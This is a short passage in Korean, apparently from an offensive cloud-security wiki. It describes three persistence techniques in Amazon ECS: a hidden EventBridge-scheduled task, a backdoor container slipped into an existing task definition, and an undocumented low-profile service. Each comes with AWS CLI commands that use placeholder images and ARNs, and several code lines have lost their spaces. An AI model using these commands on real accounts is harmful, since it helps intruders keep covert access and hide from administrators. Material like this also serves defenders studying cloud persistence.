공격자는 Amazon EventBridge를 사용하여 악성 작업의 실행을 주기적으로 예약하는 숨겨진 주기적 ECS 작업을 생성할 수 있습니다. 이 작업은 정찰을 수행하거나 데이터를 유출하거나 AWS 계정에서 지속성을 유지할 수 있습니다.
# Create a malicious task definitionawsecsregister-task-definition--family"malicious-task"--container-definitions'[{"name": "malicious-container","image": "malicious-image:latest","memory": 256,"cpu": 10,"essential": true}]'# Create an Amazon EventBridge rule to trigger the task periodicallyawseventsput-rule--name"malicious-ecs-task-rule"--schedule-expression"rate(1 day)"# Add a target to the rule to run the malicious ECS taskawseventsput-targets--rule"malicious-ecs-task-rule"--targets'[{"Id": "malicious-ecs-task-target","Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster","RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role","EcsParameters": {"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task","TaskCount": 1}}]'
기존 ECS 작업 정의의 백도어 컨테이너
TODO: 테스트
공격자는 합법적인 컨테이너와 함께 실행되는 기존 ECS 작업 정의에 은밀한 백도어 컨테이너를 추가할 수 있습니다. 백도어 컨테이너는 지속성을 위해 사용되며 악의적인 활동을 수행하는 데 사용될 수 있습니다.
# Update the existing task definition to include the backdoor containerawsecsregister-task-definition--family"existing-task"--container-definitions'[{"name": "legitimate-container","image": "legitimate-image:latest","memory": 256,"cpu": 10,"essential": true},{"name": "backdoor-container","image": "malicious-image:latest","memory": 256,"cpu": 10,"essential": false}]'
문서화되지 않은 ECS 서비스
TODO: 테스트
공격자는 악성 작업을 실행하는 문서화되지 않은 ECS 서비스를 생성할 수 있습니다. 원하는 작업 수를 최소로 설정하고 로깅을 비활성화하면 관리자가 악성 서비스를 발견하기가 더 어려워집니다.
# Create a malicious task definitionawsecsregister-task-definition--family"malicious-task"--container-definitions'[{"name": "malicious-container","image": "malicious-image:latest","memory": 256,"cpu": 10,"essential": true}]'# Create an undocumented ECS service with the malicious task definitionaws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"